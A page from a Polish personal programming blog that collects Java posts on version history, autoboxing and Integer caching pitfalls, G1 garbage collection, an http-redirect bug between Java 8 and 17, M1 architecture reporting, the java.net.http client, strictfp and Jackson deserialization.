Pokazywanie postów oznaczonych etykietą Java. Pokaż wszystkie posty
Pokazywanie postów oznaczonych etykietą Java. Pokaż wszystkie posty

środa, czerwca 28, 2023

Znaczące wersji Java'y ;-)

Ostatnio gdy pisałem posta, którego nie opublikowałem i może i nie opublikuję ;-) doszedłem do przypisu w którym sobie opisałem takie "wielkie" wersje Java'y ;-)
I to jest imho dość ciekawe, stąd tutaj o tym napiszę :-)

Jeśli spojrzeć na Java'ę to jest takie 5 faz Java'y.

Java od 1.0 do 1.2 (bez 1.2)

Nazwijmy ją początkową, nie wiedzieli jeszcze o czym to będzie, były Applety i AWT.
W okolicach 1.1 dodano jeszcze JDBC, refleksje, RMI i podobne.

Java 1.2

Tutaj już mniej więcej wiedzieli, co chcą robić, czyli język dla Enterprise, nie wiedzieli do końca czy to będzie coś bardziej do backendu czy do frontendu, więc dodali i Swinga (IntelliJ jest w Swingu ;-)), ale w tym samym czasie też JEE powstało i JSP. Do tego doszły Java Collection Framework, który był takim dość znaczącym krokiem w kierunku dodania dobrych kolekcji do Java'y.

Java 5

To była rewolucja o tyle, że wcześniej dochodziły nowe rzeczy, nawet ważne rzeczy, ale tutaj pojawiły się generyki i pierwszy raz wprowadzenie nowego słowa kluczowego mogło popsuć stary kod ;-) [wcześniej dodali np. strictfp, ale raczej nikt nie używał nigdzie takiej nazwy dla zmiennych, a enum już tak ;-)]

Java 8

To była już nowa Java, odpowiedź na pytanie które w światku Java'y istniało od paru lat "co po Java'ie?".
Do tego doszły streamy i programowanie funkcyjne, bytecode dorobił się kilku dodatkowych rzeczy, które były na tyle poważne, że nie wiem czy Google w końcu udało się to przeskoczyć tak by dało się używać ficzerów z Java 8 w programach dla Androida (szczerze nie sprawdzałem, ale wydaje mi się, że z 3 lata temu jeszcze się nie dało łatwo używać funkcyjnych rzeczy).

Java 9

Tak cichaczem przeszła, ale Jigsaw/modularyzacja i zniknięcie tools.jar zrobiło masę kłopotów wielu projektom. To była chyba pierwsze wersja Java'y w której duża ilość niezależnych projektów zderzyła się ze ścianą, Scala, Spark, Gosu, dla wszystkich to było wyzwanie i nie wszystkim udało się je przeskoczyć.
Stąd nadal w 2023 roku powstają projekty w Java 8...

Kurcze, może czas rzucić Java'ę? ;-)




Podobne postybeta
Szkoda Java'y
Naprawdę nienawidzę...
Nie wierze w polyglot developer, ale... ;-)
Swing - największe zło Java'y ;-)
Rosnąć wszerz czy wzwyż?

środa, kwietnia 26, 2023

Autoboxing/Unboxing nie lubi sie z var - nadal ;-)

Znów miałem problem z autoboxingiem i znowu przez var ;-)
Aż zaczynam się zastanawiać czy tak go bardzo używać jak go używam....

Rozwiązywałem zadanie na LeetCode i miałem taki mniej więcej kod:

private PriorityQueue<Integer> pq;
[...]
var val = pq.poll();
while (!pq.isEmpty() && val==pq.peek()) pq.poll();

No i oczywiście działało, do momentu gdy w PriorityQueue miałem Integery mniejsze lub równe 127 i większe lub równe -128... bo wtedy Java używa tricku z tym, że wszystkie stworzone dla tych liczb przez autoboxing wskazują na te same obiekty, znaczy wszystkie 7 wskazują na ten sam dokładnie obiekt i porównanie == działa.
Oczywiście ja byłem święcie przekonany, że tu był unboxing i gdybym nie użył val, a


int val = pq.poll();


wszystko by działało.

Bez tego program przestawał działać dla większych przykładów, naprawiłem go przy pomocy zmiany linii z while na:

while (!pq.isEmpty() && val>=pq.peek()) pq.poll();


(czyli zamiana == na >=) i nie mogłem zrozumieć czemu teraz działa.... dopiero po jakimś czasie do mnie dotarło, że działa bo >= nie jest możliwy dla obiektów, więc Java musiała zrobić unboxing....
Po tym już umiałem poprawić swój program tak by działał prawidłowo ;-)




Podobne postybeta
var bywa niebezpieczne :-)
Nieoczywiste oczywistości ;-) podstępny autoboxing ;-)
Człowiek się uczy całe życie - źle rozumiałem cache'owanie Integerów :-)
Który kod (nie kot! ;-)) lepszy?
Ile to jest 1+1 w Java'ie?

sobota, marca 11, 2023

Chciałem popsuć G1 i mi się na razie nie udało ;-)

GC w Java'ie w większości przypadków opiera się na hipotezie, która najlepiej wyraża się słowami: obiekty umierają młodo.

Niby to nie jest ważne, ale jak się dowiadujemy o GC to jest mowa o tym, że obiekty żyją sobie tam gdzieś na pastwisku sterty i wiodą sobie swój żywot tak długo jak nie przyjdzie GC i po stwierdzeniu, że obiekt nie jest już nikomu potrzebny to go morduje i zwalnia pamięć.
To ma oczywiście konsekwencje w tym, że jak już zamorduje to mamy trochę wolnej pamięci, ale przed i za może być obiekt który nadal żyje... co prowadzi do fragmentacji sterty i trzeba tu sprzątać, bo może się okazać, że mamy wystarczająco wolnego miejsca, ale w kawałkach i nie da się nigdzie wcisnąć naszego obiektu... Czyli trzeba jakoś zdefragmentować stertę, ale to jest trudne bo to taki puzzel.

Stąd używając tej hipotezy, że przytłaczająca większość obiektów umiera młodo można podzielić pamięć tak by mieć miejsce gdzie obiekty będą szybko tworzone i szybko będą mogły umierać, a ich zwłoki nie będą nikomu przeszkadzać i ich usunięcie nie będzie zbytnio zużywało CPU, te które przeżyją można już wypuścić na pastwisko i niech się tam pasą i w razie umrą to będzie to na tyle rzadkie, że ich ewakuacja nie będzie taka straszna i będzie rzadka.

Stąd większość kolektorów w Java'ie to Generational Garbage Collectors (chyba najlepszym polskim tłumaczeniem by było pokoleniowe GC ;-)).
I pamięć dzielą mniej więcej tak:
  • eden - obiekty są tu tworzone (prawie wszystkie, poza tymi które wydają się być za dużo, co znaczy chyba 1/4 rozmiaru edenu
  • survivor 1 i survivor 2
  • old gen
Oczywiście przyszedł G1 dawno temu i trochę sprawę popsuł. Np. złośliwa bestia nie dziedziczy po GenCollectedHeap ;-) a wprost po CollectedHeap co by mogło sugerować, że nie jest generacyjny (pokoleniowy), a jest, najwyraźniej po prostu metody z GenCollectedHeap nie pasowały bo w G1 nie ma ciągłych obszarów pamięci dla każdej z generacji...

Ale nadal wszystko opiera się o generacje, tylko, że w G1 są one takie jakby poszarpane... 

Ale nadal jest tak, że obiekt (jeśli jest mały) tworzony jest w edenie, tworzony jest zaraz po poprzednim (OK, może być z wyrównaniem bo CPU mają taki zwyczaj, że zwykle szybciej się potrafią dostać do pamięci która jest pod adresem będącym wielokrotnością jakiejś tam liczby będącej potęgą 2) i przez to jak w edenie się kończy miejsce to można zrobić bardzo prostą i tanią operację i przejść przez wszystkie obiekty, sprawdzić które są jeszcze używane i które już nie i coś z nimi zrobić.
To coś to skopiowanie tych, które nadal żyją do aktualnego survivor (są 2) i nie kopiowanie tych, których już nikt nie używa. Po czym możemy znów zacząć wrzucać do edenu nowe obiekty. Tak obiekty w Edenie chodzą i leżą na zwłokach swoich poprzedników ;-)
Z survivor jest tak, że jak się kończy w nim miejsce to robimy ten sam numer co z edenem tylko przepisujemy te nadal żywe obiekty do drugiego surviovora i je zamieniamy (czyli jak byliśmy w 1, skończył się to przepisujemy do 2, i piszemy nowe do 2, jak się skończy to kopiujemy to 1...).
Oczywiście jest problem bo nagle będzie za dużo rzeczy w survivor... więc stąd też odbywa się promocja do old ;-)
Ona się odbywa głównie "za zasługi", czyli obiekt przeżył ileś tam przepisań z s1 do s2 i z powrotem i wszystko wskazuje, że to jeden z obiektów matuzalemów więc trzeba go wysłać do old.
Jest jeszcze taki deal, że jak survivor jest przepisywany to najpierw sprawdzane jest czy w old jest jeszcze miejsce i jeśli nie to odbywa się ta paskudna operacja defragmentacji sterty i jakby się nie udało odzyskać pamięci tyle by skopiować całego survivor to poleci OutOufMemoryError (to jest Error, nie Exception).
To w końcu prowadzi do najbardziej pożądanego kształtu wykresu pokazującego zużycie pamięci czyli do piły... jak jest trend wzrostowy to jest sugestia wycieku pamięci (na razie tylko sugestia).

W G1 jest to bardziej powariowane, ale z grubsza to tak działa...

Więc ja dziś, czy bardziej wczoraj chciałem pobawić się w G1 wielkością tych obszarów bo zazdroszczę moim developerem którzy pracują nad naszym softem, że właśnie się bawią GC (OK, oni tak na to nie patrzą, tu chyba trzeba wysublimowanego smaku, który potrafi docenić smak GC (podejrzewam, że to podobne jest do takiego kiszonego śledzia czy czegoś podobnego)) i z opisów moja hipoteza jest, że ponieważ do pamięci trafia multum rzeczy, która jest w protobuf to po sparsowaniu tablice char[] które tam są się pałętają po pamięci i przez to GC ma czasem problemy.
Próbowałem zasymulować coś takiego.. nawet by CPU bardziej użyć dodałem sortowanie bąbelkowe (czyli żeby CPU więcej był obciążony) i chciałem drania (G1) popsuć, ale na razie bez sukcesów ;-)
Robiłem to w Java 8 (bo Scala...) i pierwsza lekcja z dziś, Java 8 nadal używała -server żeby odpalić serwerową Java'ę ;-)

W ogóle dziś mi coś dziwnie szło, np. apka obserwowana z JVisualVM nie używała więcej niż 30% CPU.... co przekładało się na jakieś 300% w ActivityMonitor co by znaczyło jakieś 3 rdzenie z 12 (OK, tak naprawdę jest 6 rdzeni, ale jest HyperThread)... a jak odpaliłem z -server to leciało na 12 rdzeniach... ale później zacząłem sprawdzać i jednak jest tak, że -server jest mniej nice niż było -client i od razu próbuje zagarnąć całe CPU, a client tak bardziej subtelnie to robi ;-) [nice jest w *nix i im aplikacja bardziej nice to tym chętniej oddaje CPU, im mniej nice tym mniej chętnie to robi ;-)]
Ustawiałem też np. -Xmx czyli max sterty i mi to ignorował jak przekazywałem do java'y w cmd line, ale jak wrzuciłem do _JAVA_OPTIONS to działało...

Wnioski na dziś takie:
  • zrobienie syntetycznego psuja do GC jest trudne,
  • wiedza nie używana wyparowuje... 8 miesięcy pisania głównie w Pythonie i robienia za Engineering Managera (przy okazji Product Ownera i coś pokroju Data Analyst) i robienie jakichś zadanek na LeetCode prowadzi do atrofii Java'y ;-) stąd trzeba zacząć sobie pisać jakiś projekt, w którym będę mógł trenować (btw. nawet teraz nie pamiętam jak zrobić by testy z lokalnym DynamoDb działały na każdym OSie... a kiedyś to zrobiłem w parę godzin ;-))
  • trzeba znów zacząć czytać kod JVM
  • _JAVA_OPTIONS zawsze działa ;-)



Podobne postybeta
Samochód jako zmniejszacz temperatury.... GC i jak to możliwe, że Young Generation może być zbyt duże, strzeż się finalize() i muzyczka :-) Czyli potok świadomości....
Nieznane skarby JDK - JConsole :-)
finalize() - do czego służy, a do czego nie i z czym to się je.
Referencje w Java'ie
Odrobina miłości i serwery działają ;-)

piątek, marca 03, 2023

Szukanie czemu mi nie działa program na Java 17, a czemu działa na Java 8 ;-)

Niby programuję w Java'ie już około miliona lat ;-) [tak od września 2004 roku] widziałem już wiele, a to wersję JDK która nie miała jakichś metod w JDBC ;-), a to różne zachowanie tego samego GC na różnych maszynach.
Ale z biegiem czasu było tego coraz mniej.

A wczoraj zobaczyłem coś nowego :-)

Mam programik, który generuje "podobne posty" na blogu (to co widać na dole większości postów).
Działa on sobie tak, że odpala się co 15 minut na moim Raspberry Pi, pobiera posty z bloga, liczy podobne posty i jak jest na blogu inaczej niż wg niego powinno być to publikuje update postu.

Programik jest skompilowany dla JVM w wersji 8, bo taką kiedyś zainstalowałem Java'ę na Raspberry Pi.

Wczoraj przyszły do mnie 2 nowe ZimaBoard, z 8 GB RAM, i 4 rdzeniowymi Celeronami.
Zainstalowałem tam OpenJDK w wersji 17, skopiowałem JARa z RPi... uruchomiłem i się wywaliło na połączeniu sieciowym....

Dokładniej z:
java.net.ConnectException: Connection refused

To zacząłem sprawdzać ;-)

Najpierw, że coś jest nie tak z siecią na ZimaBoard.
Hipoteza: ZimaBoard ma źle skonfigurowany firewall

Sprawdziłem na moim macOS z tym samym JAR'em i zadziałało na Java 8, ale nie na 19 i nie na 17.
Ale jak z IJ w wersji 19 to działało ;-) [bo też klasy kompilowało].

OK, coś jest nie tak z JARem
Hipoteza: Format tego akurat pliku JAR działa dla 8, ale nie dla 17...

Zrobiłem JARa z wersją 8 z kodu, który mam w IntelliJ i działa... ale rozmiary są różne

Hipoteza: coś się zmieniło w bibliotece do połączeń sieciowych.

(nie twierdzę, że te hipotezy wynikają jedna z drugiej, tutaj wyraźnie zignorowałem to info o rozmiarze, chcąc sprawdzić coś innego)

Doszedłem już do czytania kodu JDK do PlainSocketImpl.c ;-) 
Ale uznałem, że to jednak nie jest dobry pomysł i porzuciłem na rzecz nowej hipotezy.

Hipoteza: pewnie coś się zmieniło w Java'ie i może jakieś security albo coś

(hipoteza z doświadczenia i tego, że na stack trace pojawiło się java.base/java.security.AccessController.doPrivileged)

Poszukałem (z ChatGPT ;-)) przełączników i nic, żaden nic nie zmienił.

Hipoteza: różna wersja biblioteki której używam do łączenia do Bloggera

(wracamy do tej obserwacji, że różni się rozmiar JARa)

Podmieniłem pliki z JARa (dokładniej rozpakowałem działającego i niedziałającego JARa i zacząłem podmieniać pakiety)

Dalsze zabawy pokazują, że jednak różnica może być w moim programie... (bawię się klasami i biorę zawartość działającego JARa, rozpakowuję i zmieniam pakiety by znaleźć kto się różni, i nawet wcześniej kdiff3 sprawdzałem i widziałem różnicę... czyli albo znaleźć trzeba źródła, albo spojrzeć na zdekompilowane wersje :-)).

OK, po dekomplilacji już wiem w czym problem :-) banalny jest :-)
Chociaż nie (ja to piszę jako strumień świadomości niemal ;-))

Bo widać, że jest różnica. Wersja, która działa na Java 8 i 17 ma https w adresach, a ta która działa tylko na Java 8 ma http....

Hipoteza: po pójściu na adres http, serwer wysyła 302 i Java 8 robi follow, a wyższe nie robią follow....

W kodzie mam teraz https://www.blogger.com/feeds/default/blogs, ale w starym jest http://www.blogger.com/feeds/default/blogs.

Jak sprawdziłem przy pomocy cURL'a jeśli udamy się do tego adresu z http to Google robi 302:
Location: https://www.blogger.com/feeds/default/blogs

No i wychodzi na to, że Java 8 robi follow, a Java 17 (10, 19... czyli pewnie wszystko powyżej Java 8) nie robi follow :-)

Wnioski:

To miał być taki zabawny post, że o coś się w Java'ie dziwnego dzieje ;-) a wyszła prezentacja mojego stylu rozwiązywania problemów ;-)
Co ciekawe byłem wcześniej w dobrej okolicy jak zacząłem się przyglądać temu PlainSocketImpl.c, ale uznałem, że nie warto i poszedłem dalej by wrócić do tego samego miejsca ;p

Lekcja na dziś - Java 8 robiła follow, a nowsze Java'y nie robią ;-)

Przydatne polecenia na dziś ;-)
java -p $(find . -name "*.class") - zrobi dekompilację wszystkich klas w katalogu aktualnym i wypisze na ekran... jak się przekieruje do pliku to mamy w pliku ;-)
curl -v - tryb verbose cURLa, dzięki temu widzimy 302 :-)
curl -L - tryb w którym cURL robi follow za 302 :-) (przy okazji gupi Postman robi zawsze follow i nie wiem jak zrobić by nie robił... spytałem ChatGPT i mi powiedział jak wyłączyć w Postman'ie "Automatically follow redirects") (przy okazji 2 ;-) curl -L -v robił follow ale też o tym pisze :-))

Tak przy okazji żeby się szybko przełączać między wersjami Java'y mam takie 2 polecenia w command line ;-)

list_java() {
/usr/libexec/java_home -V
}

setJava() {
export JAVA_HOME=`/usr/libexec/java_home -v $1`
}


Pierwsze, czyli list_java wypisuje mi wszystkie Java'y które mam zainstalowane na moim macOS, drugie wybiera tą która ma najbardziej podobną nazwę do tego co wpiszę ;-)

Czyli jak chcę Java'ę 8 to piszę setJava 1.8, jak chcę 17 to pisze setJava 17, jak wpisze setJava 1 to mi ustawia 19 ;-)

Przy okazji, list_java wypisuje mi takie ;-)
19.0.1 (x86_64) "Oracle Corporation" - "OpenJDK 19.0.1"
18.0.1 (x86_64) "Amazon.com Inc." - "Amazon Corretto 18"
18.0.1 (x86_64) "Azul Systems, Inc." - "Zulu 18.30.11"
17.0.6 (x86_64) "Amazon.com Inc." - "Amazon Corretto 17"
11.0.11.1 (x86_64) "Amazon.com Inc." - "Amazon Corretto 11"
11 (x86_64) "Oracle Corporation" - "Java SE 11"
10.0.2 (x86_64) "Oracle Corporation" - "Java SE 10.0.2"
1.8.0_292 (x86_64) "Amazon" - "Amazon Corretto 8"
1.8.0_202 (x86_64) "Oracle Corporation" - "Java SE 8"
1.8.0_181 (x86_64) "Oracle Corporation" - "Java SE 8"
1.8.0_92 (x86_64) "Oracle Corporation" - "Java SE 8"

Może warto by conieco było skasować ;-)




Podobne postybeta
Daj się zastąpić automatom... przynajmniej tam gdzie się to opłaci ;-)
W końcu dane z M1, które w Java'ie mówią, że to jest ARM :-)
Dla Java'y Apple Silicon M1 to jednak nadal x86 ;-)
Kto mi podmienia certyfikat do GMAILa? ;-) A bardziej - jak? ;-)
Sprzęt WiFi w procentach

poniedziałek, maja 10, 2021

W końcu dane z M1, które w Java'ie mówią, że to jest ARM :-)

Koleżanka ma nowego Macbooka z M1 :-)

Uruchomiła mój testowy program i mamy pierwszego Macbooka który zwrócił ARMa jako CPU :-)

Wynik na tym M1 to:

OS Architecture : aarch64
OS Name : Mac OS X
OS Version : 11.2.3
Data Model : 64
Endian : little

Ciekawe, że też już wersję OSa Java raportuje tutaj jako 11.x :-), u mnie na BigSur w wersji 11.3.1 (20E241):


Zwraca 10.16 :-)

OS Architecture zwraca dla M1 w końcu aarch64 :-), poprzedni zwracał jeszcze x86_64.

Moja teoria teraz jest taka, że to po prostu build Java'y dla M1 i ponieważ już jest dla ARMa to zwraca też nową wersję OSa, w sensie 11.

[update trochę później ;-)]
Zainstalowałem na jednym z moich Macbooków (tutaj akurat na Macbooku Air) najnowsze Corretto 11.0.11.9.1 i już Big Sur 11.3.1 jest raportowany jako:
OS Version : 11.3

:-)
Lubię rozumieć czemu są różne wartości...
Tak z ciekawostek masa tych rzeczy akurat jest wpisana w bebachach samej JVM, nie wszystko, akurat wersję OSa raczej pobiera z samego systemu, ale może to też robić dziwnie.


Podobne postybeta
"os.arch", "os.name", "sun.arch.data.model" co to jest i co pokazuje na jakiej maszynie i OSie? ;-)
Dla Java'y Apple Silicon M1 to jednak nadal x86 ;-)
Java szybsza na M1 jako X86 niż jako ARM ;-)
Migracja między Mac'ami z x86 na ARM przenosi preferencję dla x86 ;-)
Szukanie czemu mi nie działa program na Java 17, a czemu działa na Java 8 ;-)

niedziela, marca 21, 2021

&quot;Nowy&quot; java.net.http.HttpClient jest cool :-)

Kilka dni temu w pracy musiałem zrobić GET z body....
Czyli wysłać request typu GET, ale taki w którym jest body.

Wielu zakrzyknie "co tu się odwala? GET nie może mieć body".

Może ;-)

Tzn zawsze mógł, ale przez wiele lat mu nie było wolno ;-) ale teraz mu wolno, ale za to nie wszystkie biblioteki pozwalają by mógł ;-)

W Pythonie (2.7 bo nadal z niego nie wyrosłem...) to zawsze było proste, wystarczyło nadpisać metodę i wyglądało takie GET jak POST czy PUT.

W Java'ie jest gorzej.

HttpURLConnection niby pozwala ustawić metodę na GET i później ustawić DoOutput na true, ale w takim przypadku i tak zrobi POST.
RestTemplate ze Springa niby jakoś pozwala to zrobić, ale nie udało mi się go shackować.
HttpClient od Appache też podobno pozwala, ale też hackowanie jest niemiłe.

Ale w końcu w Java'ie dodano nowego klienta HTTP,  takiego który wspiera nawet HTTP/2 :-)

To java.net.http.HttpClient :-)

Jego użycie by zrobić GET z body to coś w ten deseń :

var httpClient = HttpClient.newHttpClient();
var bodyPublisher = HttpRequest.BodyPublishers.ofString("{'test':'test'");
var request = HttpRequest.newBuilder().method("GET", bodyPublisher).build();

var response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
var responseBody = response.body();
Użycie send może wyrzucić parę wyjątków, głównie te z IOException i co ciekawe InterruptedException :-) bo send jest synchroniczne, jest też wersja asynchroniczna która nie wyrzuca tego drugiego (ale wyrzuca go metoda get z CompletableFuture).
Dzięki java.net.http.HttpClient byłem w stanie zrobić to co z Pythona umiałem, czyli GET z body :-)
A team z którym "gadamy" pracuje nad tym by jednak dać nam możliwość gadania przez POST ;-)
Podoba mi się ten nowy HttpClient. Daje nawet większą swobodę niż HttpURLConnection, nadal można być dość "nisko", a nie trzeba robić rzutowań....
No i wspiera HTTP/2 :-)
Ciekawe czy w Java 14 będzie wspierać HTTP/3? :-)


Podobne postybeta
Linux to jednak fajny jest ;-)
GeeCON 2015
Naprawdę uwielbiam...
Monitorujemy cenę IntelliJ'a ;-)
_ w Java'ie :-)

niedziela, lutego 21, 2021

Dla Java'y Apple Silicon M1 to jednak nadal x86 ;-)

Kolega z Macbookiem z M1 potwierdził to co przypuszczałem ;-)
Java na M1 wykonuje się nadal w trybie x86 i raport z mojego programiku, którego wyniki pokazywałem tutaj dla większej ilości systemów wygląda tak:

OS Architecture : x86_64
OS Name : Mac OS X
OS Version : 10.16
Data Model : 64
Endian : little

Dla porównania mój Macbook Pro 2018 z i9 pokazuje taki sam wynik:

OS Architecture : x86_64
OS Name : Mac OS X
OS Version : 10.16
Data Model : 64
Endian : little

jak widać oba są identyczne ;-)
Co oznacza, że M1 na najnowszych Macach na razie Java'ę wykonuje w trybie x86.
Tu chciałem napisać, że nawet widać tu to, że M1 zmienia swoją "endianność" (aka Endianness aka indiańskość ;p), ale poszukałem i okazuje się, że jednak M1 jest też little-endian* jak x86.

Ciekawe jak to będzie wyglądało na Java'ie kompilowanej już dla M1.


* - OK, to jest ARM, a one od v3 potrafią zmieniać swój tryb, tylko że podobno jednak tego nie używają.



Podobne postybeta
W końcu dane z M1, które w Java'ie mówią, że to jest ARM :-)
"os.arch", "os.name", "sun.arch.data.model" co to jest i co pokazuje na jakiej maszynie i OSie? ;-)
Java szybsza na M1 jako X86 niż jako ARM ;-)
Mój Macbook ma 4 lata
Exif jest zły - część 2 :-)

poniedziałek, października 19, 2020

Nieoczywiste oczywistości ;-) podstępny autoboxing ;-)

Java jest prostym językiem, ale dodawanie kolejnych ficzerów powoduje, że staje się coraz bardziej skomplikowana.

Jakoś tak milion lat temu w Java 5 dodano autoboxing i auto unboxing. I to bardzo ułatwia życie, tak naprawdę mało kto teraz pamięta w trakcie kodowanie, że int i Integer to dwie różne rzeczy i zwykle po prostu ludzie pamiętają, że Integer to taki "specjalny" int który można trzymać w kolekcjach.

I stąd są problemy....

Bo co się stanie w sytuacji gdy z mapy albo listy pobieramy Integer'y i porównujemy je z czymś przy pomocy ==?

To zależy czy to z czym porównujemy to int czy Integer ;-)
Jeśli int to kompilator w trakcie kompilacji zrobi nam auto unboxing naszego pobranego Integer'a.
Jeśli Integer to zależy.... gdy to jest Integer w zakresie -128..127 to zwykle powinno działać == tak jakby zadziałało equals.... przy założeniu, że oba te Integer'y zostały poprawnie "stworzone", czyli nie przez new Integer(int).
Jeśli coś wyższego niż 127, albo niższego niż -128 to raczej nie zadziała == jak equals.

Niby to wszystko to żaden problem, ale.....

Idźmy dalej, a co jak mamy takie 2 z overloadowane metody:

boolean test() {
return isEven(10);
}

boolean isEven(int x) {
return x%2==0;
}

boolean isEven(Integer x) {
return x%2==0;
}

To która zostanie zawołana gdy wykona się metoda test? ;-)

Wiadomo, że isEven(int), ale jeśli usuniemy metodę isEven(int) to kod nadal się będzie kompilował i nadal będzie działał ;-)

Tu niby problem nie jest z autoboxingiem i unboxingime chociaż trochę jest ;-) bo jak kompilator decyduje którą metodę zawołać? No szuka metody najbardziej "szczegółowej". 

Czyli tutaj w metodzie test ma 10, a 10 to int, więc wie, że ma zawołać isEven(int), ale jeśli nie będzie metody isEven(int) to popatrzy i znajdzie metodę isEven(Integer) więc dokona auto boxingu tego 10 do Integer.valueOf(10) i wrzuci je do tej metody...
Jakby nie było tej metody, ale byłaby metoda isEven(Object) to ona by została zawołana....

To niby są wszystko oczywistości, ale takie nie do końca oczywiste ;-)

A patrząc jak ludzie chętnie dodają do API nowe metody to takie problemy się po prostu muszą zdarzać ;-)





Podobne postybeta
Autoboxing/Unboxing nie lubi sie z var - nadal ;-)
Człowiek się uczy całe życie - źle rozumiałem cache'owanie Integerów :-)
Ile to jest 1+1 w Java'ie?
var bywa niebezpieczne :-)
Nie mieszaj wrapperów z prymitywami ;-)

sobota, września 26, 2020

Człowiek się uczy całe życie - źle rozumiałem cache'owanie Integerów :-)

Tak się bawię nowym IntelliJ i jak używa się var to próbuje podpowiedzieć jaki będzie wywnioskowany typ.

Działa to różnie:


Ogólnie zasada chyba jest taka, że parser Java'y w IJ potrafi wywnioskować typ na podstawie zwracanego typu (to ma przy metodach) i czasem jak przypisanie jest z prostej deklaracji z typem.
Nie jest więc tak wszechstronny jak kompilator Java'y, ale kompilator wie więcej.

Ale ja nie o tym tutaj ;-)

Bawiąc się tym zauważyłem, że konstruktor dla Integer jest deprecated, sprawdziłem i to prawda od wersji 9.
I tak się zacząłem tym bawić i okazuje się, że przez ostatnie ~16 lat żyłem w błędnym przekonaniu....

Zawsze pamiętałem, że JVM ma optymalizację by nie przeginać z ilością Integer'ów, i że np. dla 1 jest dokładnie 1 obiekt w pamięci, a wszystkie zmienne które trzymają Integer'a o wartości 1 mają referencję do tego jednego jedynego.... i że JVM od Oracle'a ma to dla liczb od -128 do 127 (choć teraz jak to widzę to jest konfigurowane).

I zawsze tu zakładałem, że JVM ogarnia jakoś wołanie new Integer(x), czy może bardziej kompilator jak się zastanowić...

No i byłem przekonany, że:

wypisze true...

A tu "dupa", nie, wypisze false, bo new stworzy dwa całkiem nowe obiekty. Żeby cache zadziałał trzeba użyć Integer.valueOf....

Fakt, sam używam "od zawsze" Integer.valueOf(int), ale przyznam, że coś mi się porobiło w głowie jak do mnie dotarło jak błądziłem.

Choć niech mnie tłumaczy, że jak mi się zdarza pracować z Integer to właśnie przez Integer.valueOf, albo przez autoboxing, a:
Zadziała tak, że wypisze true.

Jak na to spojrzeć to to ma pełen sens, bo skąd biedna JVM ma wiedzieć, że nowo tworzony obiekt Integer wskazuje na już istniejący? Albo kompilator by musiał generować tu specjalny kod do obsługi tego dla new, albo sama JVM w momencie "zobaczenia wołania" w stylu:

musiałaby nie wołać konstruktora, ale zaglądać do cache.... i jak sprawdziłem nawet Java 8 nie robiła takich cudów :-)



Podobne postybeta
Nieoczywiste oczywistości ;-) podstępny autoboxing ;-)
Nie mieszaj wrapperów z prymitywami ;-)
Ile to jest 1+1 w Java'ie?
var bywa niebezpieczne :-)
Autoboxing/Unboxing nie lubi sie z var - nadal ;-)

sobota, lipca 18, 2020

strictfp sierota po x87 ;-)

Jest taki zespół 3 słów kluczowych w Java'ie które są używane tak rzadko, że prawie nikt nie wie do czego służą.
To volatile, transient i strictfp.
Dwa pierwsze jeszcze nie są takie całkowicie niezwykłe do użycia, czasem może się zdarzyć, że chcemy mieć zmienną trzymaną w pamięci głównej komputera,  a nie w cache'u, tak by wszystkie wątki/cpu widziały tą samą wartość (volatile to zrobi), i czasem jak używamy serializacji (nie powinno się, ale i tak to robimy ;-)) to są pola których nie chcemy serializować.
Ale strictfp to chyba najrzadziej używane słowo kluczowe w Java'ie (nawet goto jest częściej używane, bo co prawda my go w kodzie nie możemy użyć, ale kompilator może i czasem jak ktoś robi dekompilację kodu to dekompilator potrafi co najwyżej użyć goto w tłumaczeniu ;-)).

Najzabawniejsza jest jednak historia strictfp ;-)

Weszło do Java'y w wersji 1.2 czyli w 1998 roku. Tej wersji Java'y zawdzięczamy kolekcje (czyli od wtedy używanie Vector i Hashtable jest passe ;-)), oraz IntelliJ ;-) bo w Java 1.2 wszedł Swing, a w co trudno uwierzyć IntelliJ jest napisany w Java'ie z użyciem Swinga...

Java gdy była tworzona przyjęła używanie liczb zmiennoprzecinkowych w formacie IEEE 754, co było i jest nadal standardem (choć pokręconym). 
Jednak w tamtym czasie x87 (czyli koprocesory x86) nie zawsze były w pełni zgodne z IEEE 754, niby formalnie były, ale pewne sekwencje operacji mogły być wykonywane tak, że wyniki się trochę różniły między tym co zwracał x86/x87 a co zwróciłoby IEEE 754.
Z tego też powodu Java zawsze dbała o to by obliczenia zmiennoprzecinkowe były zgodne z IEEE 754.
Ale to oznaczało, że obliczenia były wolniejsze i programiści nie byli zachwyceni.
Dlatego Sun postanowił zmienić specyfikację JVM, tak że JVM nie wymaga tak ścisłego przestrzegania IEEE 754.... do czasu gdy metoda (sama, albo przez klasę czy interfejs) nie zostanie oznaczona jako strictfp, wtedy wszystkie operacje w takich metodach muszą być zgodne z IEEE 754.
Oczywiście Intel dość szybko zauważył, że jego procesory mogą tu powodować pewne problemy i wprowadził w nich zmiany, które sprawiły, że obecnie arytmetyka z strictfp i bez daje takie same rezultaty (przynajmniej zwykle ;-)).

Ja wiem, że w swoim kodzie nigdy nie użyłem strictfp, jak mi się wydaje nie pracowałem też nigdzie z kodem który używałby strictfp.
W samym JDK Java'y strictfp jest użyte w 2 plikach ;-) w FdLibm.java i w StrictMath.java, łącznie w 6 metodach :-)




Podobne postybeta
Goto Go ;-)
Refleksje i serializacja w Java'ie - podstawy i obalanie mitów ;-)
Znaczące wersji Java'y ;-)
GCJ mnie przerosło ;-)
Moc obliczeniowa

piątek, lutego 21, 2020

Czemu trzeba pomagać Jacksonowi? ;-)

Jeśli używasz w swoim projekcie Jacksona to pewnie zdarzyło Ci się zrobić pewien błąd.
Najpierw stworzyłeś lub stworzyłaś klasę z polami publicznymi, bo to przecież taki tylko obiekt do zmiany w JSONa i z powrotem.
I wszystko działało.
Aż tu nagle, dodajesz konstruktor i zmieniasz widoczność pól i nagle choć serializacja nadal działa to deserializacja przestaje.

Patrzysz na kod i w końcu dociera do Ciebie, że trzeba opisać konstruktor annotacją @JsonCreator.

I czasem kod działa :-)

A czasem jednak nie. I znów dociera do Ciebie, że trzeba dodać do parametrów annotacje @JsonProperty z nazwą.

Tu możesz się zacząć zastanawiać czemu jak pole było publiczne to nic nie trzeba było annotować, a jak jest prywatne i dostarczasz konstruktor to nagle trzeba już dodać annotację z nazwą...

Reflejske się tu kłaniają ;-)

Jackson używa do serializacji i deserializacji mechanizmu refleksji.

Pola sobie może odczytać bez problemu, robi na naszym serializowanym obiekcie obj.getClass().getDeclaredFields() i obj.getClass().getFields() i ma listę pól z ich nazwami i typem.

